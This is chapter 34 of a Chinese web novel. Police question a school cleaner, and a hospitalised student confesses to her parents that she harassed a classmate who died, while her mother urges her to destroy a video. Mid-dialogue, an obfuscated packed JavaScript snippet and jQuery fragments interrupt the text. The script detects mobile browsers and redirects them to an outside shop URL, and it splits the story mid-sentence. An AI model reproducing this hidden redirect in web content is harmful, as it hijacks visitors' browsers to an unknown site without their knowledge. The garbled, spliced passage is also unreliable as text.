34. 第 34 章
作品:《流泪的话我不说》 会议室里,袁清把一叠照片和信息摊开在桌上给李凯看:“李树,43岁,在阳城一中做保洁,目前是单身。”
李凯敏锐地看向袁清:“阳城一中?”
“对。”
“而且——。”袁清在他对面坐下,面色凝重地补充:“我有调查过,她和前任丈夫育有一儿一女,但女儿已经过世了。”
见李凯神色有异,袁清补了一句:“那女孩跟江心没有关系,但也是因为意外去世。我还调查过,她女儿跟陶小伟这些人也没有任何交集,李树不存在要帮助乔衍作案的动机。”
“那她跟乔衍有任何关系吗?”
“也没有。”袁清继续否认。
接下来,李凯和袁清很快找到李树来问话。
因为是住在同一栋楼里的邻居,李树见到警察并没有什么太抵触的情绪,甚至她后面在谈话中的表现都十分冷静配合。
“你认识徐娇娇吗?”
李树点头:“她是个很可怜的女孩,前段时间那件事情闹得很大。”
“这就是你们全部的交集了?”袁清追问。
“我跟她妈妈交流得比较多,我之前也有一个女儿去世了,所以我对这方面比较有同理心,我只是想要安慰她。”李树直言不讳道。
在旁边一直没说话的李凯开口了,他拿出一张显示通话记录的单子给她看:“你们打了这么多电话,一般都聊些什么?”
“我吗?”
“就聊些家常事,顺便安慰她几句,请问是出什么问题了吗?”
“没有。”李凯收回那张纸:“了解一些情况。”
所以就眼前的局面来说,李树只不过是一个因为女儿意外去世,从而对徐娇娇和她妈产产生了同理心的普通离异中年妇女而已。
但是她有必要这么热心吗?
但是目前李凯找不到李树的任何行事动机,一切似乎又陷入了死局中。
徐娇娇指控所有的事都是乔衍指使,而乔衍除了全盘认罪外,没有再说过一句多余的话。
“我们调查过乔衍的朋友,他打工的地方,凡是跟他生活搭点边的人我们都调查过了,但是一点有用的信息都没有。我简直要产生错觉了,他们似乎是达成了某种心照不宣的默契。”
李凯的同事无语地摇了摇头,毕竟谁都很难相信这一切都是一个高三生计划的。
*
杨意只是受了点轻伤,但是因为受到了巨大的惊吓,医院建议还是要留院几天观察。
陈洁带着班上的几位学生代表放学后去看望杨意。
宋阳就是其中之一。
他们到的时候,孟晚不在,只有杨高才一个人坐在床尾的位置。
陈洁一行七八个人一下就把这间沉寂的病房点燃了。
杨意的脸上和脖子上都有纱布,但是神色看着还算正常。陈洁上前一步先跟杨高才点头示意:“杨书记你好,我们来看看杨意。”
躺在床上的杨意看到陈洁来并没有什么表情,依旧盯着天花板不说话。杨高才见状刚想上前提醒几句,眼神一转,正好瞥到了站在人群最后面的一个女孩。
“宋阳?”他一眼就认出了她。
陈洁面上露出一点惊讶,她向后伸手,把还有些瑟缩的女孩招呼呼到身边来:“杨老师教过她?”
杨高才笑笑,手抚在宋阳的肩上轻轻拍了两下:“我初中带过的学生,宋阳,是不是认不出来了?几年不见没想到变化这么大了。”
宋阳是一个很怕遇见熟人的人。
更不要说在杨意的病房里遇见自己曾经的初中班主任。
虽然她来的时候已经做了心理准备,但是事到临头,她还是很没有出息地沉默了。面对杨高才时,宋阳总是有着一种说不上来的畏惧感,不知道是因为他曾经班主任的身份在作怪,还是他知晓宋阳被“偷钱”那件事。
她只是谨慎地冲他鞠了个躬。
杨高才盯着面前的女生一副恭恭敬敬的模样,眼里不禁闪过一丝玩味的意味。所以他没有注意到离他不远的陈洁冷冷地看了他一眼。
陈洁没忘记此行的目的,她坐到床头的位置安抚道:“杨意,你安心养伤不用理会外头的风言风语。”
风言风语这四个字让病房里的气氛低了几度。
谁都知道这“风言风语”指的是什么,虽然杨意从头到尾都没有承认过,但是大多人都认为此事并非空穴来风。听说警察都来找过杨意。
“谢谢老师。”杨意终于有了反应,她转过头,目光从陈洁缓缓挪向身后的一众人上,面容憔悴:“我会尽快康复然后回去上学的。”
陈洁十分动容地握住了杨意的手:“之前的作弊事件想必你也受了委屈,你只管好好休息,我们和同学们都等你回去。”
陈洁又变回了从前的陈洁。
但是杨意的感觉却跟以前不一样了。她试着回报一个笑,牵了牵嘴角后只感到脖子处的伤口在痛。
陈洁并没有久留,待了大约十五分钟后她就带着一众学生回去了。他们坐电梯下到一楼的时候,还在大堂看见了杨意的妈妈。
但是对方并没有跟陈洁他们打招呼,不知道是故意的还是没有看见。
孟晚自从杨意出事后几乎就没有睡过一个整觉,现在已经憔悴到眼底乌青一片,整人显得无神蔫巴。
她回到病房顺势把门关上,手里还抱着在楼下超市新买的脸盆:“我刚在楼下看到杨意班主任,他们来过了?”
杨高才接过那脸盆放在床底下,然后一言不发地在床尾坐下。
“他们说什么了吗?”见没人说话,孟晚又凑近问了一句,她的嗓音压得又快又低。
杨意终于受不了:“没说什么,就是来看看我,你又怎么了?”
“我怎么了?”这下轮到孟晚受不了了:“闹出这么大的事,你知道周围有多少人在传——在传你杀人吗!连警察都来了好几次!你知道我费了多大劲才把他们糊弄走吗!”
“孟晚。”杨高才放下手机,不悦地打断她。
孟晚平时也许还能忍气吞声,但是到了事关她原则的问题,她必须要问个清楚:“你给我一个准话,那个叫什么乔衍的男孩子会什么突然绑架你,你到底有没有做什么不好的事!”
孟晚虽然不清楚乔衍是什么人,但是杨意的德行她绝对是略知一二的。而且她回去查了江心出车祸的那天,孟晚记得那天杨意借口住宿在同学家,一整个晚上都没有回来。杨意很少会这样,所以孟晚记得很清楚。
有些巧合就只是巧合,但有些巧合是非常致命的。
“你什么意思?”杨意也拔高了声音:“我都成这样躺在这里了,你不关心我就算了,你还怀疑我?”
“我是怀疑你吗?我是让你有事尽早跟我们商量!我是你妈,我能害你吗!不要到时候让别人查出点什么东西来,我想再帮你都来不及了。你可能还不知道,那个叫陶小伟的前几天被抓进去了!是他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192509|194453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杀的洛音。他还把你兜出来了,但是眼下警察那边没有证据估计也不能拿你怎么样。”
杨意没有想到事情会发展成这样:“怎么会是他杀了杨意?不是徐娇娇吗?”
孟晚两手抹了一把脸坐在隔壁的空床上:“这对你来说重要吗?总之事情现在已经闹到这一步,你最好跟我们老实交代,趁我和你爸还有能力给你收拾烂摊子。”
话说到这,杨意沉默了。
这下连杨高才也抬起头去看躺在床上的杨意。
“杨意?”
“你妈妈只是关心你,俗话说得好关心则乱,你不用太在意她的话。”
杨高才对待杨意一向是很宽容的,但此刻这种宽容却让她觉得如芒在背。
“如果我说。”长久的静默之后,杨意终于又开口了:“一切都是真的呢。”
她话音刚落,孟晚立马从床上跳起来,克制地低吼:“我就知道,我就知道,杨意你这是要我的命啊!你疯了吗!你到底有什么毛病!你竟然去杀人!你以前欺负欺负人女生也就算了,你现在这是在干什么!”
“我没有要杀她。”
“那只是一个意外,是她自己跑到马路上被撞死的。”杨意坚持为自己辩驳。
“意外?那你为什么要找那两个流氓去找人麻烦?”
杨意看了一眼依旧沉默的杨高才:“因为我讨厌她,爸爸眼里只有他的学生,尤其是这个江心,因为她成绩上升,爸爸三天两头的提起她,我太讨厌她了。”
另一边被提到的杨高才适时地表现出了一些类似于震惊的情绪,但很快他就叹了一口气走到床头,手搭在杨意的额头上轻轻抚了抚:“那只是我的工作,你才是爸爸的女儿,我怎么把他们看得比你重要呢。你妈妈这么关心你,爱你,你怎么能做出这样让她伤心的事呢。”
“那你为什么要这么做?”杨意眼睛一下子就红了:“自从你换学校当了书记,你的眼里就只有工作工作,一直早出晚归!有时候宁愿住在学校那个破破烂烂的宿舍也不愿意回家来!甚至我住院的这几天你也一直忙着看手机!”
“好,那爸爸不看了,爸爸答应一定好好陪你。”杨高才耐着性子安慰了一句,随即抬起头给了孟晚一个淡漠的眼神,自己则又退回床尾的位置。
那一眼仿佛在说,女儿变成现在这样,你要负全责。
全部都是你孟晚的错。
看看你教出了一个什么东西。
孟晚万念俱灰下又很快又冷静下来,毕竟现在还有更重要的事等着她处理。
“杨意。”
“乔衍说得那个视频到底是不是真的?”
“如果有的话,我们现在要做的是尽快把它销毁,否则哪天落入了警察的手里,你这辈子就毁了。”
杨意又沉默了。
她本来打算把这作为独属于她自己的秘密,在无光的角落,时不时翻出来自己进行回味。她没想过要把这个视频给别人看,尤其是孟晚。
“等我出院了——。”
“杨意!”
杨意话说到一半被孟晚狠狠打断:“等!等!等!现在都什么时候了你还在说这种废话!多等一秒就多危险一秒!视频藏在哪里了你赶紧告诉我!”
这下连杨高才看向杨意,他没开口,但是眼里有催促的意思。
终于,杨意抵挡不住这样的目光,妥协道。
“视频——。”
“在我房间的电脑里。”

